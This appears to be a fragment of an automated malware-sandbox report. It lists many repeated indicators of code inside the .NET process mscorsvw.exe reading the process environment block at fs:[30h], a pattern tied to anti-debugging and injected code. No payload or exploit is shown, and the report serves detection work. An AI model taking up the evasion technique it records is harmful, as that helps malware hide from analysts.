Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B05AC mov eax, dword ptr fs:[00000030h]	2_2_057B05AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B05AC mov eax, dword ptr fs:[00000030h]	2_2_057B05AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E2D8A mov eax, dword ptr fs:[00000030h]	2_2_056E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E2D8A mov eax, dword ptr fs:[00000030h]	2_2_056E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E2D8A mov eax, dword ptr fs:[00000030h]	2_2_056E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E2D8A mov eax, dword ptr fs:[00000030h]	2_2_056E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E2D8A mov eax, dword ptr fs:[00000030h]	2_2_056E2D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571FD9B mov eax, dword ptr fs:[00000030h]	2_2_0571FD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571FD9B mov eax, dword ptr fs:[00000030h]	2_2_0571FD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05712581 mov eax, dword ptr fs:[00000030h]	2_2_05712581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05712581 mov eax, dword ptr fs:[00000030h]	2_2_05712581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05712581 mov eax, dword ptr fs:[00000030h]	2_2_05712581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05712581 mov eax, dword ptr fs:[00000030h]	2_2_05712581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570746D mov eax, dword ptr fs:[00000030h]	2_2_0570746D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577C450 mov eax, dword ptr fs:[00000030h]	2_2_0577C450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577C450 mov eax, dword ptr fs:[00000030h]	2_2_0577C450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571A44B mov eax, dword ptr fs:[00000030h]	2_2_0571A44B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571BC2C mov eax, dword ptr fs:[00000030h]	2_2_0571BC2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B740D mov eax, dword ptr fs:[00000030h]	2_2_057B740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B740D mov eax, dword ptr fs:[00000030h]	2_2_057B740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B740D mov eax, dword ptr fs:[00000030h]	2_2_057B740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1C06 mov eax, dword ptr fs:[00000030h]	2_2_057A1C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766C0A mov eax, dword ptr fs:[00000030h]	2_2_05766C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766C0A mov eax, dword ptr fs:[00000030h]	2_2_05766C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766C0A mov eax, dword ptr fs:[00000030h]	2_2_05766C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766C0A mov eax, dword ptr fs:[00000030h]	2_2_05766C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A14FB mov eax, dword ptr fs:[00000030h]	2_2_057A14FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766CF0 mov eax, dword ptr fs:[00000030h]	2_2_05766CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766CF0 mov eax, dword ptr fs:[00000030h]	2_2_05766CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05766CF0 mov eax, dword ptr fs:[00000030h]	2_2_05766CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B8CD6 mov eax, dword ptr fs:[00000030h]	2_2_057B8CD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F849B mov eax, dword ptr fs:[00000030h]	2_2_056F849B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FFF60 mov eax, dword ptr fs:[00000030h]	2_2_056FFF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B8F6A mov eax, dword ptr fs:[00000030h]	2_2_057B8F6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FEF40 mov eax, dword ptr fs:[00000030h]	2_2_056FEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E4F2E mov eax, dword ptr fs:[00000030h]	2_2_056E4F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E4F2E mov eax, dword ptr fs:[00000030h]	2_2_056E4F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571E730 mov eax, dword ptr fs:[00000030h]	2_2_0571E730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570F716 mov eax, dword ptr fs:[00000030h]	2_2_0570F716
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577FF10 mov eax, dword ptr fs:[00000030h]	2_2_0577FF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577FF10 mov eax, dword ptr fs:[00000030h]	2_2_0577FF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B070D mov eax, dword ptr fs:[00000030h]	2_2_057B070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B070D mov eax, dword ptr fs:[00000030h]	2_2_057B070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571A70E mov eax, dword ptr fs:[00000030h]	2_2_0571A70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571A70E mov eax, dword ptr fs:[00000030h]	2_2_0571A70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057237F5 mov eax, dword ptr fs:[00000030h]	2_2_057237F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05767794 mov eax, dword ptr fs:[00000030h]	2_2_05767794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05767794 mov eax, dword ptr fs:[00000030h]	2_2_05767794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05767794 mov eax, dword ptr fs:[00000030h]	2_2_05767794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F8794 mov eax, dword ptr fs:[00000030h]	2_2_056F8794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F766D mov eax, dword ptr fs:[00000030h]	2_2_056F766D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570AE73 mov eax, dword ptr fs:[00000030h]	2_2_0570AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570AE73 mov eax, dword ptr fs:[00000030h]	2_2_0570AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570AE73 mov eax, dword ptr fs:[00000030h]	2_2_0570AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570AE73 mov eax, dword ptr fs:[00000030h]	2_2_0570AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570AE73 mov eax, dword ptr fs:[00000030h]	2_2_0570AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F7E41 mov eax, dword ptr fs:[00000030h]	2_2_056F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F7E41 mov eax, dword ptr fs:[00000030h]	2_2_056F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F7E41 mov eax, dword ptr fs:[00000030h]	2_2_056F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F7E41 mov eax, dword ptr fs:[00000030h]	2_2_056F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F7E41 mov eax, dword ptr fs:[00000030h]	2_2_056F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F7E41 mov eax, dword ptr fs:[00000030h]	2_2_056F7E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057AAE44 mov eax, dword ptr fs:[00000030h]	2_2_057AAE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057AAE44 mov eax, dword ptr fs:[00000030h]	2_2_057AAE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0579FE3F mov eax, dword ptr fs:[00000030h]	2_2_0579FE3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EE620 mov eax, dword ptr fs:[00000030h]	2_2_056EE620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571A61C mov eax, dword ptr fs:[00000030h]	2_2_0571A61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571A61C mov eax, dword ptr fs:[00000030h]	2_2_0571A61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EC600 mov eax, dword ptr fs:[00000030h]	2_2_056EC600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EC600 mov eax, dword ptr fs:[00000030h]	2_2_056EC600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EC600 mov eax, dword ptr fs:[00000030h]	2_2_056EC600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05718E00 mov eax, dword ptr fs:[00000030h]	2_2_05718E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A1608 mov eax, dword ptr fs:[00000030h]	2_2_057A1608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F76E2 mov eax, dword ptr fs:[00000030h]	2_2_056F76E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057116E0 mov ecx, dword ptr fs:[00000030h]	2_2_057116E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B8ED6 mov eax, dword ptr fs:[00000030h]	2_2_057B8ED6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05728EC7 mov eax, dword ptr fs:[00000030h]	2_2_05728EC7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0579FEC0 mov eax, dword ptr fs:[00000030h]	2_2_0579FEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057136CC mov eax, dword ptr fs:[00000030h]	2_2_057136CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057646A7 mov eax, dword ptr fs:[00000030h]	2_2_057646A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B0EA5 mov eax, dword ptr fs:[00000030h]	2_2_057B0EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B0EA5 mov eax, dword ptr fs:[00000030h]	2_2_057B0EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B0EA5 mov eax, dword ptr fs:[00000030h]	2_2_057B0EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577FE87 mov eax, dword ptr fs:[00000030h]	2_2_0577FE87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EC962 mov eax, dword ptr fs:[00000030h]	2_2_056EC962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EB171 mov eax, dword ptr fs:[00000030h]	2_2_056EB171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EB171 mov eax, dword ptr fs:[00000030h]	2_2_056EB171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570B944 mov eax, dword ptr fs:[00000030h]	2_2_0570B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570B944 mov eax, dword ptr fs:[00000030h]	2_2_0570B944
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571513A mov eax, dword ptr fs:[00000030h]	2_2_0571513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571513A mov eax, dword ptr fs:[00000030h]	2_2_0571513A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05704120 mov eax, dword ptr fs:[00000030h]	2_2_05704120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05704120 mov eax, dword ptr fs:[00000030h]	2_2_05704120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05704120 mov eax, dword ptr fs:[00000030h]	2_2_05704120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05704120 mov eax, dword ptr fs:[00000030h]	2_2_05704120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05704120 mov ecx, dword ptr fs:[00000030h]	2_2_05704120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E9100 mov eax, dword ptr fs:[00000030h]	2_2_056E9100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E9100 mov eax, dword ptr fs:[00000030h]	2_2_056E9100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E9100 mov eax, dword ptr fs:[00000030h]	2_2_056E9100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EB1E1 mov eax, dword ptr fs:[00000030h]	2_2_056EB1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EB1E1 mov eax, dword ptr fs:[00000030h]	2_2_056EB1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EB1E1 mov eax, dword ptr fs:[00000030h]	2_2_056EB1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057741E8 mov eax, dword ptr fs:[00000030h]	2_2_057741E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057651BE mov eax, dword ptr fs:[00000030h]	2_2_057651BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057651BE mov eax, dword ptr fs:[00000030h]	2_2_057651BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057651BE mov eax, dword ptr fs:[00000030h]	2_2_057651BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057651BE mov eax, dword ptr fs:[00000030h]	2_2_057651BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057669A6 mov eax, dword ptr fs:[00000030h]	2_2_057669A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057161A0 mov eax, dword ptr fs:[00000030h]	2_2_057161A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057161A0 mov eax, dword ptr fs:[00000030h]	2_2_057161A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05712990 mov eax, dword ptr fs:[00000030h]	2_2_05712990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570C182 mov eax, dword ptr fs:[00000030h]	2_2_0570C182
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571A185 mov eax, dword ptr fs:[00000030h]	2_2_0571A185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A2073 mov eax, dword ptr fs:[00000030h]	2_2_057A2073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B1074 mov eax, dword ptr fs:[00000030h]	2_2_057B1074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05700050 mov eax, dword ptr fs:[00000030h]	2_2_05700050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05700050 mov eax, dword ptr fs:[00000030h]	2_2_05700050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FB02A mov eax, dword ptr fs:[00000030h]	2_2_056FB02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FB02A mov eax, dword ptr fs:[00000030h]	2_2_056FB02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FB02A mov eax, dword ptr fs:[00000030h]	2_2_056FB02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FB02A mov eax, dword ptr fs:[00000030h]	2_2_056FB02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571002D mov eax, dword ptr fs:[00000030h]	2_2_0571002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571002D mov eax, dword ptr fs:[00000030h]	2_2_0571002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571002D mov eax, dword ptr fs:[00000030h]	2_2_0571002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571002D mov eax, dword ptr fs:[00000030h]	2_2_0571002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571002D mov eax, dword ptr fs:[00000030h]	2_2_0571002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05767016 mov eax, dword ptr fs:[00000030h]	2_2_05767016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05767016 mov eax, dword ptr fs:[00000030h]	2_2_05767016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05767016 mov eax, dword ptr fs:[00000030h]	2_2_05767016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B4015 mov eax, dword ptr fs:[00000030h]	2_2_057B4015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B4015 mov eax, dword ptr fs:[00000030h]	2_2_057B4015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E58EC mov eax, dword ptr fs:[00000030h]	2_2_056E58EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577B8D0 mov eax, dword ptr fs:[00000030h]	2_2_0577B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577B8D0 mov ecx, dword ptr fs:[00000030h]	2_2_0577B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577B8D0 mov eax, dword ptr fs:[00000030h]	2_2_0577B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577B8D0 mov eax, dword ptr fs:[00000030h]	2_2_0577B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577B8D0 mov eax, dword ptr fs:[00000030h]	2_2_0577B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0577B8D0 mov eax, dword ptr fs:[00000030h]	2_2_0577B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571F0BF mov ecx, dword ptr fs:[00000030h]	2_2_0571F0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571F0BF mov eax, dword ptr fs:[00000030h]	2_2_0571F0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571F0BF mov eax, dword ptr fs:[00000030h]	2_2_0571F0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057120A0 mov eax, dword ptr fs:[00000030h]	2_2_057120A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057120A0 mov eax, dword ptr fs:[00000030h]	2_2_057120A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057120A0 mov eax, dword ptr fs:[00000030h]	2_2_057120A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057120A0 mov eax, dword ptr fs:[00000030h]	2_2_057120A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057120A0 mov eax, dword ptr fs:[00000030h]	2_2_057120A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057120A0 mov eax, dword ptr fs:[00000030h]	2_2_057120A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057290AF mov eax, dword ptr fs:[00000030h]	2_2_057290AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E9080 mov eax, dword ptr fs:[00000030h]	2_2_056E9080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05763884 mov eax, dword ptr fs:[00000030h]	2_2_05763884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05763884 mov eax, dword ptr fs:[00000030h]	2_2_05763884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05713B7A mov eax, dword ptr fs:[00000030h]	2_2_05713B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05713B7A mov eax, dword ptr fs:[00000030h]	2_2_05713B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EDB60 mov ecx, dword ptr fs:[00000030h]	2_2_056EDB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B8B58 mov eax, dword ptr fs:[00000030h]	2_2_057B8B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EDB40 mov eax, dword ptr fs:[00000030h]	2_2_056EDB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EF358 mov eax, dword ptr fs:[00000030h]	2_2_056EF358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A131B mov eax, dword ptr fs:[00000030h]	2_2_057A131B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057103E2 mov eax, dword ptr fs:[00000030h]	2_2_057103E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057103E2 mov eax, dword ptr fs:[00000030h]	2_2_057103E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057103E2 mov eax, dword ptr fs:[00000030h]	2_2_057103E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057103E2 mov eax, dword ptr fs:[00000030h]	2_2_057103E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057103E2 mov eax, dword ptr fs:[00000030h]	2_2_057103E2
